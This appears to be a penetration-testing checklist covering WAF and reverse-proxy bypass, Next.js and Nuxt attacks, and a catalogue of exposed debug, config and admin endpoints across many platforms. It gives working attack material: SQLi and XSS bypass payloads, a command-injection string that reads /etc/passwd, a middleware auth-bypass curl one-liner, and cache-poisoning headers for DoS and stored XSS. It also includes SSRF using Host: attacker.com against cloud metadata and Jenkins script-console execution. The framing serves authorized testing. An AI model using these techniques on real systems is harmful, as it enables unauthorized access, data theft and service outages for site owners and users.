WAF & Reverse Proxies Bypass
Run these boxes when a reverse proxy (Nginx/Apache/IIS) or WAF (AWS WAF, Cloudflare, ModSecurity, Akamai…) sits in front of the app and blocks paths/payloads. Two root causes: (1) Parser discrepancy — the proxy/WAF and the backend disagree on what the request means (path normalization, header parsing, multipart/XML grammar, character encoding), so the WAF inspects a harmless interpretation while the backend executes the real one; (2) Inspection gaps — the WAF simply doesn't look (request too large, wrong content-type, unkeyed location). Order: fingerprint → ACL/path-confusion → header-parsing discrepancy → size-limit bypass → content-type/multipart/XML grammar → character normalization → payload obfuscation → confirm.
This is a bypass checklist — the goal is to prove the protection can be evaded so the underlying bug (SQLi/XSS/admin-path) still lands. Pair it with the relevant vuln checklist for the actual payload.
- Identify the WAF:
Serverheader, blocking page text, cookies (awselb,__cfduid/cf-ray,barra_counter,BinarySec…), unusual block codes (WebKnight999, 360493) - Provoke it: send
" or 1=1 --/<script>alert()</script>into params and note the block response (code, body, headers) - Use
wafw00fto fingerprint - Identify the backend stack (Node/PHP/Java/.NET) — parser-discrepancy bypasses are stack-specific
- Note whether the WAF is inline (CDN) or a module (ModSecurity) — affects which tricks apply
Proxy blocks a path with an exact-match location, but the backend normalizes differently.
- Nginx
location = /admin.php { deny }→ bypass via/admin.php/index.php(or/admin.php/)- root cause:
=exact match; backend (PHP-FPM) still routes/admin.php/xtoadmin.php - fix devs miss: should use
~ \.php$regex
- root cause:
- ModSecurity
REQUEST_FILENAMEpath-confusion (v3 ≤3.0.12) — append;/path segments so MODSEC sees a different filename than the backend (sicuranext research) - Trailing-char normalization mismatch — add chars Nginx keeps but the backend strips:
/admin%00,/admin%09,/admin/.,/admin%2e - Tomcat path-param blacklist bypass:
/path1/path2/≡;/path1;foo/path2;bar/; - IIS/ASP Classic case/encoding:
<%s%cr%u0131pt>≡<script>(dotless-ı normalization) - Try
//,/./,/../,;,%2f,%2e, backslash\to reach a blocked path - Case variation on case-insensitive backends:
/Admin,/ADMIN.php
WAF parses a header one way, backend another → smuggle the payload in the part the WAF ignores.
-
AWS WAF malformed-header LF trick — payload on a continuation line the WAF doesn't attribute to the header value but the backend (Node) does:
GET / HTTP/1.1 Host: target.com X-Query: Value \t' or '1'='1' -- Connection: close -
Duplicate headers (WAF reads first, backend reads last — or vice-versa)
-
Header-name casing / whitespace-before-colon / tab folding
-
Put the payload in a header the WAF doesn't inspect (custom
X-*,Referer,User-Agent) if the backend uses it in a sink -
Obscure but parsed:
X-Forwarded-For,X-Original-URL,X-Rewrite-URLto reach blocked paths
WAFs only inspect up to a byte limit; exceed it and the payload passes uninspected.
- Identify the limit (AWS WAF defaults: ~8KB for CloudFront, larger for ALB/AppSync)
- On a POST/PUT/PATCH, pad the body before the payload to push the malicious part past the inspection window:
- junk param/comment then the real injection
-
nowafpls(Burp ext) — auto-inserts padding to cross the limit - Also enables the WAF-cookie DoS (see DoS checklist) and oversized-header CPDoS
- Test JSON/form/multipart bodies — limits differ per content-type
Emergency rules that re-parse multipart/XML are fragile — if WAF and backend implement different grammar, the WAF scans a harmless reconstruction while the backend rebuilds the real payload.
Multipart/form-data:
- Boundary-delimiter manipulation — remove the
\r\nbefore the boundary - Content-Type parameter tweak — alter/remove the global
Content-Typename orboundary=casing - Content-Disposition disruption — malform the
Content-Dispositionstructure - Disrupted header injection into body — add redundant headers with broken names in the part
- Content-Type tweak in body — insert chars into the per-part
Content-Type - Mismatched/duplicate
name=fields (busboy-style reconstruction differences)
XML:
- DOCTYPE closure confusion — extra char at the end of the XML body confuses DOCTYPE parsing
- Schema closure manipulation — insert chars/elements/duplicate fields in the schema
- Newline abuse — extra newline before the
Content-Typeheader - Content-Type header parameter removal/replacement — drop or swap the param name
- (XXE-that-bypasses-WAF — combine with XXE checklist)
Content-type swap:
- Send JSON as
text/plain/ form, or swap to a type the WAF doesn't parse but the backend does
WAF sees one character set, the backend normalizes to another (the malicious one).
- Unicode normalization — chars that NFKC-fold to
<,',/, keywords after the WAF check (fullwidth<script>, dotless-ı, ligatures) — see IDN/Unicode-normalization checklist - Overlong / double URL-encoding —
%252e,%c0%ae,%u002edecoded by backend but not WAF - Mixed encoding in one payload
-
<%s%cr%u0131pt>→<script>(IIS) - Best-fit mapping — chars the backend maps to ASCII (e.g.
SELECT) - Inline-handler first-statement parsing bypass — WAF parses only the first JS statement in an event handler; prefix a harmless one:
onfocus="(history.length);PAYLOAD"+#elementIdfragment for click-less focus → XSS executes, WAF misses it
- Comment/junk insertion —
<script>+-+-1-+-+confirm()</script>, SQL inline comments/**/,/*!50000*/ - Whitespace/linebreak (CR/LF) inside the payload to break regex:
<iframe src=" j a v a s c r i p t :confirm()"> - HTML-entity / numeric encoding in attributes:
href=javascript:alert(1) - Padding attributes to push past regex windows:
<a aaaa aaaaa ... href=...> - Uninitialized bash vars for command injection:
$aaaa/bin$bbbb/cat $cccc/etc$dddd/passwd(null/empty expansion) -
$IFSfor spaces (bare$IFSoften passes where${IFS}is blocked) - SSL/TLS-cipher abuse — some WAFs fail to inspect certain TLS configs (0x09AL)
- SNI-based backend reach — if proxy uses SNI as backend address → SSRF (see SSRF checklist)
- Tooling: SQLMap
--tamper=, Awesome-WAF / Bo0oM / kh4sh3i cheat-sheets, AutoSpear, nuclei WAF-bypass templates
- Same payload: blocked without the trick, passes with it (show both requests)
- The underlying vuln actually fires post-bypass (SQLi result / XSS alert / admin page reached)
- Note the exact discrepancy: which component normalized/parsed differently
- Note that a WAF bypass alone is usually informative, not a finding — chain it to a real vuln for impact
- Document: WAF/proxy + version, backend stack, the bypass primitive (path/header/size/grammar/encoding), and the vuln it unlocked
Symfony PHP
- Symfony Profiler Enabled
/app_dev.php
/app_dev.php/_profiler
/_profiler
/_profiler/latest
/_profiler/search
/_profiler/phpinfo
/_profiler/{token}
/_wdt/{token}
/app_example.php
/app_test.php
/index_dev.php
/config.php
/_configurator/
/_configurator/steps
/_configurator/step/{index}
Laravel
- Laravel Debug Mode / Telescope / Ignition / Horizon / Pulse
/.env
/_debugbar
/_debugbar/open
/_debugbar/clockwork/{id}
/telescope
/telescope/requests
/telescope/exceptions
/ignition/execute-solution
/ignition/update-options
/horizon
/horizon/api/*
/pulse
WordPress
- WordPress Debug / Config / XMLRPC / Users Enum
/wp-config.php
/wp-config.php~
/wp-config.php.bak
/wp-config.php.old
/wp-admin/install.php
/xmlrpc.php
/wp-json/wp/v2/users
/wp-json/wp/v2/users/{id}
/readme.html
/license.txt
/wp-includes/version.php
Django
- Django Debug Mode / Admin / Debug Toolbar
/.env
/admin
/admin/login
/debug
/__debug__
/static/debug_toolbar/
/djdt/
/djdt/debug_toolbar
Rails
- Rails Console / Info / DB / Pwned
/rails/info/properties
/rails/console
/rails/db
/pwned
/.env
/config/database.yml
Express.js / Node.js
- Debug Routes / Env / Config Exposure
/.env
/debug
/trace
/env
/config
/status
/version
Flask
- Flask Debug Mode / Console
/.env
/console
/debug
/flask.debug
/_debug
GraphQL
- Introspection Enabled / IDEs
/graphql
/graph
/graphiql
/graphql/console
/graphql.php
/graphiql.php
/api/graphql
/v1/graphql
/v1/explorer
/v1/graphiql
/altair
/playground
/graphql-playground
/graphiql/fiddle
Next.js
Run these boxes against any Next.js app (React/Vercel framework). Next.js has a rich, framework-specific attack surface: middleware auth bypass, internal-header cache poisoning → DoS, SSRF (Server Actions + image optimization), request smuggling, and source/env exposure. Most high-impact bugs are version-gated, so fingerprint the version first. Order: fingerprint → middleware bypass → cache-poisoning DoS chains → SSRF → smuggling/DoS → source/env exposure → impact. (Nuxt cache-poisoning at the end since it's the Vue analogue.)
⚠️ Cache-poisoning and DoS tests can take a page down for all users — test on non-critical endpoints (/test), useAccept-Encoding: noneif it's in the cache key to scope the poison to yourself, and confirm DoS is in-scope first.
- Indicators:
_next/static paths,/api/routes,X-Powered-By: Next.js,<script id="__NEXT_DATA__"> - Extract
buildId+ version clues from__NEXT_DATA__JSON - Detect App Router (v13+) vs Pages Router (RSC/Server Actions only exist in App Router)
- Detect deployment: self-hosted (
next start+output: standalone) vs Vercel (many bugs only affect self-hosted; Vercel strips internal headers) - Detect CDN (
Server: cloudflare,X-Vercel-Cache, CloudFront/Akamai headers) — required for cache-poisoning chains - Detect SSR pages (
getServerSideProps, dynamic data like/dashboard) — the cache-poisoning targets
Next.js trusted the internal
x-middleware-subrequestheader from external clients → middleware (auth, redirects, CSP) skipped entirely.
-
Affected: <12.3.5, <13.5.9, <14.2.25, <15.2.3 (11.1.4 → 15.2.2 exploitable). Self-hosted with middleware.
-
Find routes protected by middleware (admin, dashboard, authed API)
-
Baseline:
GET /admin→ 401/redirect -
Inject the header and re-test:
GET /admin HTTP/1.1 Host: target x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware -
Try version-specific middleware paths/values:
-
x-middleware-subrequest: middleware -
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware -
x-middleware-subrequest: pages/_middleware(pre-12.2) -
x-middleware-subrequest: src/middleware:src/middleware...(App Router)
-
-
One-liner:
curl -i -H "x-middleware-subrequest: middleware" https://target/protected -
200 with protected content = bypass confirmed
-
Also test pathname-based authz bypass (CVE-2024-51479: <14.2.15) — reach a protected path the middleware gates on pathname
-
Secondary impacts: CSP-header stripping, forced cache-poisoning of 404 (DoS)
-
Tooling: nuclei
CVE-2025-29927
Internal Next.js headers that CDNs don't strip/vary on → poison a cacheable empty/error/JSON response → page unusable for all users.
- Confirm caching: repeated requests show
Cache-Control/CDN cache headers; params ignored in cache key (/?test=1==/) - Middleware prefetch (CVE-2023-46298, <13.4.20):
x-middleware-prefetch: 1on a GET → empty{}; re-request without header — empty = poisoned -
__nextDataReqparameter:GET /poc?__nextDataReq=1→ JSONpageProps; re-request/poc→ JSON served = poisoned -
x-now-route-matchesheader:GET /poc?__nextDataReq=1+x-now-route-matches: 1→ look forCache-Control: s-maxage=1, stale-while-revalidate; re-request for JSON - Data route:
GET /_next/data/{buildId}/poc.json+x-now-route-matches: 1→ JSON cached →/pocserves JSON -
x-invoke-status: 200(non-edge runtime): overwrites status to cacheable 200 while invoking the error page → cache the error page → DoS -
x-invoke-error: {"message":"<>"}: inject custom error JSON (needs validinvokePath) - Verify each header actually passes through the CDN/proxy (not stripped)
React Server Components use
_rsc=<rand>as cache-buster +Vary: Rsc. CDNs that ignoreVary(Cloudflare exceptaccept-encoding, CloudFront removesVary, Akamai default-removal) → poison main pages with the RSC binary payload.
- Identify RSC pages (App Router, v13+)
-
GET /with headerRsc: 1and no_rscquery param → RSC binary returned - Re-request
/without the header → if RSC payload served, poison succeeded (root page broken → DoS) - Confirm the CDN ignores
Vary: Rsc(cache persists across header variants) - Mass-scan assets for this (zhero got $2000 on this class)
-
Stored XSS via cached SSR reflection: find SSR page reflecting request data (User-Agent, cookies, locale, CSRF token), then:
GET /poc?__nextDataReq=1 User-Agent: <img src=x onerror=alert(document.domain)> x-now-route-matches: 1→ if cached
/pocbecomestext/htmlwith the payload, every visitor gets XSS -
Common reflections to test: User-Agent, locale/theme cookies, session IDs, CSRF headers
-
Cache deception: cache a victim-specific SSR response (session data) under a path you can read
-
Server Actions SSRF (CVE-2024-34351, 13.4.0–<14.1.1, self-hosted): when a Server Action redirects to a relative
/path, a modifiedHostheader makes the server fetch attacker-chosen URLs (full response readable):POST /some-server-action Host: attacker.com→ reach internal services / cloud metadata (
169.254.169.254); read full HTTP response -
Image-optimization SSRF (
/_next/image):GET /_next/image?url=http://<collab>&w=128&q=75→ blind SSRF ifurlnot allowlisted- If allowlisted (
images.domains/remotePatterns): chain an open redirect or arbitrary file upload on an allowlisted domain → host a polyglot (PNG magic bytes + HTML<meta refresh>to169.254.169.254) →/_next/image?url=https://allowed-s3/redirect-polyglot.png(note: server fetches, doesn't render — needs an HTTP redirect, not client-side meta-refresh, to pivot) - Outdated versions: escalate to XSS / full XML-response leak via SSRF
- If allowlisted (
-
Custom-middleware SSRF (CVE-2025-57822): self-hosted apps misusing
next()— improper response handling → SSRF
- Response-queue poisoning (CVE-2024-34350, <14.1.1): crafted request interpreted as both one and two requests → desync (see HTTP smuggling checklist)
- Rewrite smuggling (CVE-2026-29057): when Next.js rewrites/proxies to an external backend, a
DELETE/OPTIONS+Transfer-Encoding: chunkedtriggers boundary disagreement - Server Action hang DoS (CVE-2024-56332): craft requests that leave Server Actions hanging until the host cancels the function
- Server Function deserialization DoS (CVE-2026-23864 / CVE-2025-49826-class): crafted request to an App Router Server Function → excessive CPU / OOM / crash
- Image-optimization DoS (CVE-2024-47831): unoptimized image requests → excessive CPU
- WAF request-size DoS (your page): large dummy param + injection payload reflected into a cookie that the WAF later blocks → per-victim 403 (use
nowafpls)
-
Env/debug files:
/.env /.env.local /.env.production /.env.development /.next/ /_next/static/development /api/debug -
Dev-server source exposure (CVE-2025-48068, <15.2.2): if
npm run devis running (App Router), a malicious page the dev visits can read limited source — relevant for exposed dev instances -
Source maps under
/_next/static/**/*.js.map→ recover original TS/JSX -
__NEXT_DATA__/ RSC payloads leaking server props (tokens, internal IDs, hidden data) -
/_next/static/chunks/— read bundled JS for endpoints, keys, feature flags
Same family for Nuxt (3.0.0–3.15.2): a lax URL regex lets query/hash force JSON payload rendering on main routes → cached → DoS.
- Fingerprint Nuxt:
_nuxt/,/api/,<script id="__NUXT_DATA__">; confirm version 3.0.0–3.15.2; confirm CDN + caching - Query-based:
GET /?poc=/_payload.json→ JSON 200; re-request/→ JSON served = poisoned - Hash-based:
GET /#/_payload.json(via proxy) → JSON 200; re-request/→ poisoned (fails if CDN encodes#→%23→ 404) - Safeguard with
Accept-Encoding: noneif in cache key; false-positives: Nitro/api, 3.16.0+, no CDN, params in cache key
- Auth bypass (middleware) → access admin/protected routes & APIs
- Cache-poisoning DoS → page unusable for all users (show persistence on re-request)
- Cache-poisoning → stored XSS (all visitors) / cache deception (session leak)
- SSRF → cloud metadata / internal services (full response read)
- Request smuggling → response-queue poisoning
- DoS → CPU/OOM/hang or per-victim WAF lockout
- Source/secret exposure → keys, endpoints, source
- Always note the exact version + deployment mode (self-hosted vs Vercel) and scope the PoC (single endpoint,
Accept-Encoding: none) to avoid impacting real users
Strapi
- Strapi Admin / Dashboard / Env
/admin
/dashboard
/.env
/strapi
/plugins/users-permissions
Spring Boot
- Actuator Endpoints / Jolokia / Hawtio
/actuator
/actuator/env
/actuator/beans
/actuator/mappings
/actuator/health
/actuator/info
/actuator/heapdump
/actuator/threaddump
/actuator/loggers
/actuator/conditions
/jolokia
/jolokia/exec
/hawtio
/api/hawtio
ASP.NET
- Debug / Trace / Config Exposure
/trace.axd
/elmah.axd
/Web.config
/web.config.bak
/web.config~
/App_config/connectionStrings.config
PHP General
- PHP Info / Config / Backups
/phpinfo.php
/info.php
/test.php
/php.ini
/php.ini~
/php.ini.bak
/server-status
/server-info
Apache
- Server Status / Info / Mod Pages
/server-status
/server-info
/mod_status
/.htaccess
/.htpasswd
Nginx
- Status / Stub Status
/nginx_status
/status
/stub_status
Tomcat
- Manager / Host Manager / Examples
/manager/html
/host-manager/html
/examples
/docs
/admin
Kibana
- Kibana Dashboard / Timelion / Console
/app/kibana
/app/timelion
/app/console
/api/console
Elasticsearch
- Cluster Info / Indices / Cat APIs
/_cat
/_cat/indices
/_cat/nodes
/_cluster/health
/_nodes/stats
/*/_search
MongoDB
- Mongo Express / Admin UI
/dbadmin
/mongo
/admin/mongo
/me
Redis
- Redis CLI / Web UI
/redis
/phpredisadmin
/redis-cli
Docker
- Docker API / Registry / Swarm
/_ping
/v1.41/info
/v1.41/containers/json
/v2/_catalog
Swagger / OpenAPI
- Swagger UI / OpenAPI Docs Exposure
/swagger
/swagger-ui
/swagger-ui.html
/swagger-ui/index.html
/api-docs
/v2/api-docs
/v3/api-docs
/openapi.json
/openapi.yaml
/redoc
Grafana
- Grafana UI / Public Dashboards / Health
/grafana
/grafana/login
/grafana/public-dashboards
/public-dashboards
/api/health
/api/search
Prometheus
- Prometheus UI / Targets / Metrics
/graph
/targets
/service-discovery
/metrics
/api/v1/status/config
/api/v1/targets
phpMyAdmin / Adminer
- Database Admin Panels Exposed
/phpmyadmin
/phpMyAdmin
/pma
/dbadmin
/adminer
/adminer.php
MinIO
- MinIO Console / Health Endpoints
/minio
/minio/login
/minio/health/live
/minio/health/ready
General Misconfig Checks
- Environment Files
/.env
/.env.local
/.env.production
/.env.example
/config.php
/configuration.php
/settings.php
- Backup / Source Files
/*.bak
/*.old
/*.txt
/*~
/backup
/backups
/*.sql
/*.zip
/*.tar.gz
- Directory Listing / Uploads
/uploads/
/files/
/assets/
/static/
/media/
/user_uploads/
- Git / SVN Exposure
/.git/
/.git/HEAD
/.git/config
/.svn/entries
/.hg/
Postman API Platform
- Public Workspaces
https://www.postman.com/{companyName}/?tab=workspaces
Salesforce
- Salesforce Lightning Aura Components Enabled
- Test:
POST /aura HTTP/2
Host: {TARGET}.lightning.force.com
Content-Type: application/json
{}
------------------------
- FQDNs:
*.force.com
*.secure.force.com
*.live.siteforce.com
---------------------------
- Other Endpoints
/sfsites/aura
/s/sfsites/aura
Trello
- View Permissions on Trello Boards
site:trello.com "company"
https://trello.com/b/{BOARD_ID}
Figma
- View access misconfiguration
https://www.figma.com/file/{DesignID}/{DesignFileName}
Freshworks Freshservice
- Open User Registration
https://<companyName>.freshservice.com/support/signup
Slack
- No Admin Approval for Invitations
To check if you have permissions to invite a new member:
- Sign in to your Slack Workspace
- Open any channel
- Click on Add people
- A popup will open up, enter the user's email address
- Finally, click Add
These reproduction steps prove that you're able to invite new members without approval from an administrator.
Atlassian Bitbucket
- Publicly Accessible Private Repositories
https://bitbucket.org/{WORKSPACE_ID}
site:bitbucket.org inurl:/workspace/projects
Atlassian Confluence
{% code overflow="wrap" %}
## XML-RPC HTTP Request to retrieve a specific page for example:
POST /rpc/xmlrpc HTTP/1.1
Host: confluence.example.com
Content-Type: text/xml
...
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>confluence2.getPage</methodName>
<params>
<param>
<value>
<string>{SPACE_KEY}</string>
</value>
</param>
<param>
<value>
<string>{PAGE_TITLE}</string>
</value>
</param>
</params>
</methodCall>
--------------------------------
## Curl:
curl -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>confluence2.getPage</methodName><params><param><value><string>{SPACE_KEY}</string></value></param><param><value><string>{PAGE_TITLE}</string></value></param></params></methodCall>' http://confluence.example.com/rpc/xmlrpc
------------------------------------
## SOAP: /rpc/soap-axis/confluenceservice-v2{% endcode %}
{% code overflow="wrap" %}
In case XSRF Protection is turned off, bad actors could post comments on other user's behalf by just sending them a link to an attacker controlled site that replicates the POST request.
{% endcode %}
{% code overflow="wrap" %}
There is no specific testing procedure for this misconfiguration. Email addresses are visible next to the user's name on posts for example.
{% endcode %}
{% code overflow="wrap" %}
Visit the following application route to check if anonymous users can view and read any information on Confluence Spaces:
https://<companyName>.atlassian.net/wiki/spaces
{% endcode %}
Atlassian Jira
{% code overflow="wrap" %}
You can cross-check if user registration is open for anyone by navigating to the following app route:
/secure/Signup!default.jspa
{% endcode %}
{% code overflow="wrap" %}
Open up any user's profile in your Jira instance as an anonymous user and verify that you can view the email address of the user.
{% endcode %}
{% code overflow="wrap" %}
Navigate to the following app route and check if signups are enabled:
/servicedesk/customer/user/login
{% endcode %}
AWS S3
- Misconfigured List Permissions
aws s3 ls s3://{BUCKET_NAME} --no-sign-request
Cloudflare R2
- R2.DEV Enabled
{% code overflow="wrap" %}
You can make use of search syntaxis supported by several popular search engines like Google to enumerate R2 buckets belonging to your target company or organization:
site:.r2.dev "company"
{% endcode %}
Google Groups
- Misconfigured read permissions
site:groups.google.com "{companyName}"
Google Docs
- Misconfigured read permissions
https://docs.google.com/document/d/{documentId}/edit
Google Cloud Storage Bucket
- Misconfigured access controls
{% code overflow="wrap" %}
https://{companyName}.storage.googleapis.com/
https://storage.googleapis.com/{companyName}
Indexing can also be allowed, to cross-check, you can make use of search filters that search engines like Google provide:
site:storage.googleapis.com "{companyName}"
{% endcode %}
Google OAuth
- Unrestricted email domains
{% code overflow="wrap" %}
https://accounts.google.com/o/oauth2/v2/auth?
response_type=code&
client_id=1234.apps.googleusercontent.com&
...
hd=company.com
--------------------------------
Change it to example.com:
--------------------------------
https://accounts.google.com/o/oauth2/v2/auth?
response_type=code&
client_id=1234.apps.googleusercontent.com&
...
hd=example.com
{% endcode %}
Jenkins
- Open Signups
- Enumerate jenkist subdomains
jenkist.domain.com
- Check those endpoints
/signup
/jenkins/signup
- Public Groovy Script Console
{% code overflow="wrap" %}
- Check if Groovy Script Console is publicly accessible:
/script
---------------------------------
- Test:
curl -s 'https://jenkins.{HOST}/script' -X 'POST' --data 'script={SCRIPT}'
or:
curl -s 'https://jenkins.{HOST}/scriptText' -X 'POST' --data 'script={SCRIPT}'{% endcode %}
GitLab
- Gitlab Private Source Code Snippets Exposed
{% code overflow="wrap" %}
/explore/snippets
{% endcode %}
Drupal
- Brute Force IDs
/node/{ID}
{% embed url="https://bugology.intigriti.io/misconfig-mapper-docs" %}
